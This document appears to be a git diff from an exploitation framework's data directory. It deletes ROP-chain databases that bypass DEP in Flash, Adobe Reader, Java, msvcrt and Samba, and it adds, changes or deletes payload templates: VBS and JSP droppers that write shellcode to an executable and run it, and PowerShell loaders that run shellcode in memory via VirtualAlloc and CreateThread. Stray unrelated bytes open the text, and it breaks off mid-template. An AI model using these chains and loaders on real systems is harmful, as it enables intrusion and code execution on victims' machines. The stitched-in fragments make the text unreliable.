08 c7 04 24 01 00 00 00 -ep_only = False - diff --git a/data/post/zip/zip.vbs b/data/post/zip/zip.vbs new file mode 100644 index 0000000000..8ae2cfbbf3 --- /dev/null +++ b/data/post/zip/zip.vbs @@ -0,0 +1,62 @@ +On Error Resume Next + +Function WindowsZip(sFile, sZipFile) + 'This script is provided under the Creative Commons license located + 'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not + 'be used for commercial purposes with out the expressed written consent + 'of NateRice.com + + Set oZipShell = CreateObject("WScript.Shell") + Set oZipFSO = CreateObject("Scripting.FileSystemObject") + + If Not oZipFSO.FileExists(sZipFile) Then + NewZip(sZipFile) + End If + + Set oZipApp = CreateObject("Shell.Application") + + sZipFileCount = oZipApp.NameSpace(sZipFile).items.Count + + aFileName = Split(sFile, "\") + sFileName = (aFileName(Ubound(aFileName))) + + 'listfiles + sDupe = False + For Each sFileNameInZip In oZipApp.NameSpace(sZipFile).items + If LCase(sFileName) = LCase(sFileNameInZip) Then + sDupe = True + Exit For + End If + Next + + If Not sDupe Then + oZipApp.NameSpace(sZipFile).Copyhere sFile + + 'Keep script waiting until Compressing is done + On Error Resume Next + sLoop = 0 + Do Until sZipFileCount < oZipApp.NameSpace(sZipFile).Items.Count + Wscript.Sleep(100) + sLoop = sLoop + 1 + Loop + On Error GoTo 0 + End If +End Function + +Sub NewZip(sNewZip) + 'This script is provided under the Creative Commons license located + 'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not + 'be used for commercial purposes with out the expressed written consent + 'of NateRice.com + + Set oNewZipFSO = CreateObject("Scripting.FileSystemObject") + Set oNewZipFile = oNewZipFSO.CreateTextFile(sNewZip) + + oNewZipFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0) + + oNewZipFile.Close + Set oNewZipFSO = Nothing + + Wscript.Sleep(500) +End Sub + diff --git a/data/ropdb/flash.xml b/data/ropdb/flash.xml deleted file mode 100644 index 0938e74829..0000000000 --- a/data/ropdb/flash.xml +++ /dev/null @@ -1,80 +0,0 @@ - - - - - 11.3.300.257 - - - - POP EAX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[EAX] # RETN - XCHG EAX,ESI # RETN - POP EBP # RETN - jmp esp - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # RETN - - - - - - 11.3.300.265 - - - - POP EAX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[EAX] # RETN - XCHG EAX,ESI # RETN - POP EBP # RETN - jmp esp - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # RETN - - - - - - 11.3.300.268 - - - - POP ECX # RETN - ptr to VirtualProtect() - MOV EAX,DWORD PTR DS:[ECX] - XCHG EAX,ESI # RETN - POP EBP # RETN - jmp esp - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - # RETN (ROP NOP) - POP EAX # RETN - nop - PUSHAD # RETN - - - \ No newline at end of file diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml deleted file mode 100644 index 5531d05c06..0000000000 --- a/data/ropdb/hxds.xml +++ /dev/null @@ -1,66 +0,0 @@ - - - - - 2007 - - - - POP EAX # RETN - ptr to VirtualProtect() - POP EBP # RETN - skip 4 bytes - POP EBX # RETN - Safe size to NEG - XCHG EAX, EBX # RETN - NEG EAX # RETN - XCHG EAX, EBX # RETN - POP EDX # RETN - 0x00000040 - XCHG EAX, EDX # RETN - NEG EAX # RETN - XCHG EAX, EDX # RETN - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP ESI # RETN - JMP [EAX] - PUSHAD # RETN - ptr to 'jmp esp' - - - - - - 2010 - - - - POP EBP # RETN - skip 4 bytes - POP EBX # RETN - Safe size to NEG - XCHG EAX, EBX # RETN - NEG EAX # POP ESI # RETN - JUNK - XCHG EAX, EBX # RETN - POP EDX # RETN - 0x00000040 - XCHG EAX, EDX # RETN - NEG EAX # POP ESI # RETN - JUNK - XCHG EAX, EDX # RETN - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP ESI # RETN - JMP [EAX] - POP EAX # RETN - ptr to VirtualProtect() - PUSHAD # RETN - ptr to 'jmp esp' - - - \ No newline at end of file diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml deleted file mode 100644 index 3a3959ce84..0000000000 --- a/data/ropdb/java.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - - * - - - - POP EBP # RETN - skip 4 bytes - POP EAX # RETN - 0x00000201 - NEG EAX # RETN - POP EBX # RETN - - INC EBX # FPATAN # RETN - ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN - POP EDX # RETN - 0x00000040 - NEG EDX # RETN - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP ESI # RETN - JMP [EAX] - POP EAX # RETN - ptr to VirtualProtect() - PUSHAD # ADD AL,0EF # RETN - ptr to 'push esp # ret - - - \ No newline at end of file diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml deleted file mode 100644 index 2a5416d0c2..0000000000 --- a/data/ropdb/msvcrt.xml +++ /dev/null @@ -1,71 +0,0 @@ - - - - - WINDOWS XP SP2 - WINDOWS XP SP3 - - - - POP EAX # RETN - 0xFFFFFBFF -> ebx - NEG EAX # POP EBP # RETN - JUNK - POP EBX # RETN - Writable location - XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN - POP EDX # RETN - 0xFFFFFFC0-> edx - XCHG EAX, EDX # RETN - NEG EAX # POP EBX # RETN - JUNK - XCHG EAX, EDX # RETN - POP EBP # RETN - skip 4 bytes - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP ESI # RETN - JMP [EAX] - POP EAX # RETN - ptr to VirtualProtect() - PUSHAD # RETN - ptr to 'push esp # ret - - - - - - WINDOWS SERVER 2003 SP1 - WINDOWS SERVER 2003 SP2 - - - - POP EAX # RETN - VirtualProtect() - MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - JUNK - XCHG EAX,ESI # RETN - POP EBP # RETN - ptr to 'push esp # ret' - POP EAX # RETN - EAX - SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - POP EBX, RET - .data - XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - POP ECX # RETN - W pointer (lpOldProtect) (-> ecx) - POP EDI # RETN - ROP NOP (-> edi) - POP EAX # RETN - EAX - SUB EAX, 03c0940f - XCHG EAX,EDX # RETN - POP EAX # RETN - NOP - PUSHAD # ADD AL,0EF # RETN - - - \ No newline at end of file diff --git a/data/ropdb/reader.xml b/data/ropdb/reader.xml deleted file mode 100644 index 2e4c6bd4ea..0000000000 --- a/data/ropdb/reader.xml +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - 9 - - - - pop ecx # ret - push eax # pop esp # ret - pop eax # ret - ptr to CreateFileMappingA() - call [eax] # ret - HANDLE hFile - LPSECURITY_ATTRIBUTES lpAttributes - DWORD flProtect - DWORD dwMaximumSizeHigh - DWORD dwMaximumSizeHigh - LPCTSTR lpName - pop edi # ret - pop ebp # pop ebx # pop ecx # ret - pop ebx # ret - pop eax # ret - pop ecx # ret - ptr to MapViewOfFile() - mov edx, ecx - pop ecx # ret - call [eax] # ret - pushad # add al, 0 # ret - DWORD dwDesiredAccess - DWORD dwFileOffsetHigh - DWORD dwFileOffsetLow - SIZE_T dwNumberOfBytesToMap - pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret - jmp IAT msvcr80!memcpy - ret - JUNK - memcpy length - JUNK - xchg eax, ebp # ret - pushad # add al, 0 # ret - - - - - - 10 - - - - pop ecx # ret - push eax # pop esp # ret - pop eax # ret - ptr to CreateFileMappingA() - call [eax] # ret - HANDLE hFile - LPSECURITY_ATTRIBUTES lpAttributes - DWORD flProtect - DWORD dwMaximumSizeHigh - DWORD dwMaximumSizeHigh - LPCTSTR lpName - pop edi # ret - pop ebp # pop ebx # pop ecx # ret - pop ebx # ret - pop eax # ret - pop ecx # ret - ptr to MapViewOfFile() - mov edx, ecx - pop ecx # ret - call [eax] # ret - pushad # add al, 0 # ret - DWORD dwDesiredAccess - DWORD dwFileOffsetHigh - DWORD dwFileOffsetLow - SIZE_T dwNumberOfBytesToMap - pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret - jmp to IAT msvcr90!memcpy - ret - JUNK - memcpy length - JUNK - xchg eax, ebp # ret - pushad # add al, 0 # ret - - - - - - 11 - - - - pop ecx # ret - push eax # pop esp # ret - pop eax # ret - ptr to CreateFileMappingA() - call [eax] # ret - HANDLE hFile - LPSECURITY_ATTRIBUTES lpAttributes - DWORD flProtect - DWORD dwMaximumSizeHigh - DWORD dwMaximumSizeHigh - LPCTSTR lpName - pop edi # ret - JUNK - pop ebx # pop esi # pop ebp # ret - pop eax # ret - pop esi # pop ebp # ret - JUNK - pop ecx # ret - call [eax] # ret - pop edx # ret - ptr to MapViewOfFile() - pushad # add al, 0 # pop ebp # ret - DWORD dwDesiredAccess - DWORD dwFileOffsetHigh - DWORD dwFileOffsetLow - SIZE_T dwNumberOfBytesToMap - pop edi # pop esi # pop ebp # ret - memcpy address - call eax # ret - memcpy address - xchg eax, ebp # ret - pop ebx # ret - memcpy length - pop edx # ret - pop edx # ret - pushad # add al, 0 # pop ebp # ret - - - \ No newline at end of file diff --git a/data/ropdb/samba.xml b/data/ropdb/samba.xml deleted file mode 100644 index 6fb70d93dd..0000000000 --- a/data/ropdb/samba.xml +++ /dev/null @@ -1,436 +0,0 @@ - - - - - Debian Squeeze / 2:3.5.6~dfsg-3squeeze6 - - - - - - pop ebx ; pop ebp ; ret - offset of .got.plt section - ebp = junk to be skipped over - pop eax; ret - mmap@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @mmap - jmp eax - add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments - mmap arg : addr - mmap arg : size - mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC - mmap arg : MAP_PRIVATE | MAP_ANON - mmap arg : filedes - mmap arg : off_t - junk to be skipped over - pop edx ; inc ebx ; ret - edx = writable location, in GOT - mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT - ebp = junk to be skipped over - xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy - pop esi ; ret - pop ebp ; pop ecx ; ret || ecx = esp - push esp ; and al, 0x0C ; call esi - pop eax ; ret - eax = value to add to esp to point to shellcode - add eax, ecx ; pop edi ; pop ebp ; ret - edi = junk to be skipped over - ebp = junk to be skipped over - xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy - pop eax; ret - memcpy@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @memcpy - xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy - - xchg eax, esi ; ret || save eax - pop eax; ret - saved mmaped addr - 4 - mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr - xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr - xchg eax, esi ; ret ; || restore eax - pop esi ; ret - esi = offset of .got.plt section - pop edi ; pop ebp **1** ; ret - (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) - junk for ebp **1** - pushad ; ret || will ret on gadget (P) which was in edi - payload size - - - - - - - - - Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2 - Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2 - - - - - - pop ebx ; ret - offset of .got.plt section - pop eax; ret - mmap@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @mmap - jmp eax - add esp, 0x1C; ret || mmap ret, skip overt mmap arguments - mmap arg : addr - mmap arg : size - mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC - mmap arg : MAP_PRIVATE | MAP_ANON - mmap arg : filedes - mmap arg : off_t - junk to be skipped over - pop edx ; inc ebx ; ret - edx = writable location, in GOT - mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT - xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy - mov eax, ecx ; pop ebp ; ret - junk for ebp - mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr - pop eax ; ret - eax = writable location, in GOT - pop ebx ; ret - ebx = writable location, in GOT - push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp - junk for ebp - mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret - junk for ebx - esi = value to add to esp to point to shellcode - junk for edi - xchg eax, ebx ; ret - add ebx, esi ; ret || ebx = esp + XX == src in memcpy - pop eax; ret - memcpy@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @memcpy - xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy - pop esi ; ret - esi = offset of .got.plt section - pop edi ; pop ebp **1** ; ret - (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) - junk for ebp **1** - pushad ; ret || will ret on gadget (P) which was in edi - payload size - - - - - Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2 - - - - - ebx = offset of .got.plt section - esi = junk to be skipped over - edi = junk to be skipped over - ebp = junk to be skipped over - pop eax; ret - mmap@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @mmap - jmp eax - add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments - mmap arg : addr - mmap arg : size - mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC - mmap arg : MAP_PRIVATE | MAP_ANON - mmap arg : filedes - mmap arg : off_t - junk to be skipped over - pop edx ; inc ebx ; ret - edx = writable location, in GOT - mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT - junk to be skipped over - esi = pop ebx ; pop esi ; pop edi ; ret - junk to be skipped over - junk to be skipped over - xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr - push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp - junk to be skipped over - xchg eax, esi ; ret - pop ecx ; ret - value to add to esp to point to shellcode - add eax, ecx ; pop edi ; pop ebp ; ret - edi = junk to be skipped over - ebp = junk to be skipped over - xchg eax, ebx ; ret || ebx = src in memcpy - pop eax; ret - writable add in GOT - 4 - mov eax, dword [eax+0x04] ; ret || eax = mmaped addr - xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy - pop eax; ret - memcpy@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @memcpy - xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy - pop esi ; ret - esi = offset of .got.plt section - pop edi ; pop ebp **1** ; ret - (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) - junk for ebp **1** - pushad ; ret || will ret on gadget (P) which was in edi - payload size - - - - - - Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8 - - - - - - pop ebx ; pop ebp ; ret - offset of .got.plt section - ebp = junk to be skipped over - pop eax; ret - mmap@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @mmap - jmp eax - add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments - mmap arg : addr - mmap arg : size - mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC - mmap arg : MAP_PRIVATE | MAP_ANON - mmap arg : filedes - mmap arg : off_t - junk to be skipped over - pop edx ; inc ebx ; ret - edx = writable location, in GOT - mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT - ebp = junk to be skipped over - xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy - pop esi ; ret - pop ebp ; pop ecx ; ret || ecx = esp - push esp ; and al, 0x0C ; call esi - pop eax ; ret - eax = value to add to esp to point to shellcode - add eax, ecx ; pop edi ; pop ebp ; ret - edi = junk to be skipped over - ebp = junk to be skipped over - xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy - pop eax; ret - memcpy@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @memcpy - xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy - - xchg eax, esi ; ret || save eax - pop eax; ret - saved mmaped addr - 4 - mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr - xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr - xchg eax, esi ; ret ; || restore eax - pop esi ; ret - esi = offset of .got.plt section - pop edi ; pop ebp **1** ; ret - (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) - junk for ebp **1** - pushad ; ret || will ret on gadget (P) which was in edi - payload size - - - - - - - - 3.5.10-0.107.el5 on CentOS 5 - - - - - - pop esi ; pop ebp ; ret - pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk - ebp = junk to be skipped over - push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi - esi = junk to be skipped over - edi = junk to be skipped over - xchg eax, ebx ; ret || eax = esp - pop ecx ; ret - value to add to esp to point to shellcode - add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode - pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad - offset of writable/executable memory (last 0x800 bytes) - pop eax ; ret - memcpy@got - 4 - mov eax, dword [eax+0x04] ; ret || eax = @memcpy - xchg eax, ebx ; ret || ebx = @memcpy - mov eax, ecx ; ret || eax = ecx = src in memcpy - pop esi ; pop ebp ; ret - esi = offset of .got.plt section - ebp = junk to be skipped over - pop ecx ; ret - offset of writable/executable memory (last 0x800 bytes) - pop edi ; pop ebp ** 1 **; ret - (P) pop ebx ; pop esi ; pop ebp ; ret - junk for ebp **1** - pushad ; ret - payload size - - - - - - - - - - - - diff --git a/data/templates/scripts/to_exe.jsp.template b/data/templates/scripts/to_exe.jsp.template new file mode 100644 index 0000000000..84e565dc44 --- /dev/null +++ b/data/templates/scripts/to_exe.jsp.template @@ -0,0 +1,38 @@ +<%%@ page import="java.io.*" %%> +<%% + String %{var_payload} = "%{payload}"; + String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}"; + + if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { + %{var_exepath} = %{var_exepath}.concat(".exe"); + } + + int %{var_payloadlength} = %{var_payload}.length(); + byte[] %{var_bytes} = new byte[%{var_payloadlength}/2]; + for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) { + %{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4) + + Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16)); + } + + FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath}); + %{var_outputstream}.write(%{var_bytes}); + %{var_outputstream}.flush(); + %{var_outputstream}.close(); + + if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){ + String[] %{var_fperm} = new String[3]; + %{var_fperm}[0] = "chmod"; + %{var_fperm}[1] = "+x"; + %{var_fperm}[2] = %{var_exepath}; + Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm}); + if (%{var_proc}.waitFor() == 0) { + %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); + } + + File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete(); + } else { + String[] %{var_exepatharray} = new String[1]; + %{var_exepatharray}[0] = %{var_exepath}; + Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray}); + } +%%> diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template index a6ee5f30bb..7f288ebbaa 100644 --- a/data/templates/scripts/to_exe.vbs.template +++ b/data/templates/scripts/to_exe.vbs.template @@ -1,23 +1,31 @@ -Function %{var_func}() - %{var_shellcode} = "%{hex_shellcode}" +Function %{var_decodefunc}(%{var_decodebase64}) + %{var_xml} = "" & _ + %{var_decodebase64} & "" + Set %{var_xmldoc} = CreateObject("MSXML2.DOMDocument.3.0") + %{var_xmldoc}.LoadXML(%{var_xml}) + %{var_decodefunc} = %{var_xmldoc}.selectsinglenode("B64DECODE").nodeTypedValue + set %{var_xmldoc} = nothing +End Function +Function %{var_func}() + %{var_shellcode} = "%{base64_shellcode}" Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") - Dim %{var_stream} Dim %{var_tempdir} - Dim %{var_tempexe} Dim %{var_basedir} Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2) %{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName() %{var_obj}.CreateFolder(%{var_basedir}) %{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}" - Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) - For i = 1 to Len(%{var_shellcode}) Step 2 - %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2))) - Next - %{var_stream}.Close Dim %{var_shell} Set %{var_shell} = CreateObject("Wscript.Shell") + %{var_decoded} = %{var_decodefunc}(%{var_shellcode}) + Set %{var_adodbstream} = CreateObject("ADODB.Stream") + %{var_adodbstream}.Type = 1 + %{var_adodbstream}.Open + %{var_adodbstream}.Write %{var_decoded} + %{var_adodbstream}.SaveToFile %{var_tempexe}, 2 %{var_shell}.run %{var_tempexe}, 0, true %{var_obj}.DeleteFile(%{var_tempexe}) %{var_obj}.DeleteFolder(%{var_basedir}) diff --git a/data/templates/scripts/to_exe_jsp.war.template b/data/templates/scripts/to_exe_jsp.war.template deleted file mode 100644 index 43fc99d8ea..0000000000 --- a/data/templates/scripts/to_exe_jsp.war.template +++ /dev/null @@ -1,51 +0,0 @@ -<%%@ page import="java.io.*" %%> -<%% - String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt"; - String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}"; - String %{var_data} = ""; - - if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) - { - %{var_exepath} = %{var_exepath}.concat(".exe"); - } - - FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath}); - FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath}); - - int %{var_numbytes} = %{var_inputstream}.available(); - byte %{var_bytearray}[] = new byte[%{var_numbytes}]; - %{var_inputstream}.read(%{var_bytearray}); - %{var_inputstream}.close(); - byte[] %{var_bytes} = new byte[%{var_numbytes}/2]; - for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2) - { - char %{var_char1} = (char) %{var_bytearray}[%{var_counter}]; - char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1]; - int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff; - %{var_comb} <<= 4; - %{var_comb} += Character.digit(%{var_char2}, 16) & 0xff; - %{var_bytes}[%{var_counter}/2] = (byte)%{var_comb}; - } - - %{var_outputstream}.write(%{var_bytes}); - %{var_outputstream}.close(); - - if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){ - String[] %{var_fperm} = new String[3]; - %{var_fperm}[0] = "chmod"; - %{var_fperm}[1] = "+x"; - %{var_fperm}[2] = %{var_exepath}; - Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm}); - if (%{var_proc}.waitFor() == 0) { - %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); - } - - File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete(); - } - else - { - String[] %{var_exepatharray} = new String[1]; - %{var_exepatharray}[0] = %{var_exepath}; - Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray}); - } -%%> diff --git a/data/templates/scripts/to_mem_dotnet.ps1.template b/data/templates/scripts/to_mem_dotnet.ps1.template deleted file mode 100644 index 3641ac94ef..0000000000 --- a/data/templates/scripts/to_mem_dotnet.ps1.template +++ /dev/null @@ -1,30 +0,0 @@ -Set-StrictMode -Version 2 -$%{var_syscode} = @" - using System; - using System.Runtime.InteropServices; - namespace %{var_kernel32} { - public class func { - [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } - [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } - [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } - [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); - } - } -"@ - -$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider -$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters -$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location)) -$%{var_compileParams}.GenerateInMemory = $True -$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode}) - -[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") - -$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite) -if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return } -[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length) -[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0) -if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return } -$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite) diff --git a/data/templates/scripts/to_mem_old.ps1.template b/data/templates/scripts/to_mem_old.ps1.template deleted file mode 100644 index 772fef7baf..0000000000 --- a/data/templates/scripts/to_mem_old.ps1.template +++ /dev/null @@ -1,20 +0,0 @@ -$%{var_syscode} = @" -[DllImport("kernel32.dll")] -public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); -[DllImport("kernel32.dll")] -public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); -[DllImport("msvcrt.dll")] -public static extern IntPtr memset(IntPtr dest, uint src, uint count); -"@ - -$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru - -%{shellcode} - -$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40) - -for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) { - $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null -} - -$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) diff --git a/data/templates/scripts/to_mem_pshreflection.ps1.template b/data/templates/scripts/to_mem_pshreflection.ps1.template deleted file mode 100644 index d1a83daf0c..0000000000 --- a/data/templates/scripts/to_mem_pshreflection.ps1.template +++ /dev/null @@ -1,27 +0,0 @@ -function %{func_get_proc_address} { - Param ($%{var_module}, $%{var_procedure}) - $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') - - return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure})) -} - -function %{func_get_delegate_type} { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters}, - [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void] - ) - - $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') - $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') - - return $%{var_type_builder}.CreateType() -} - -[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") - -$%{var_buffer} = 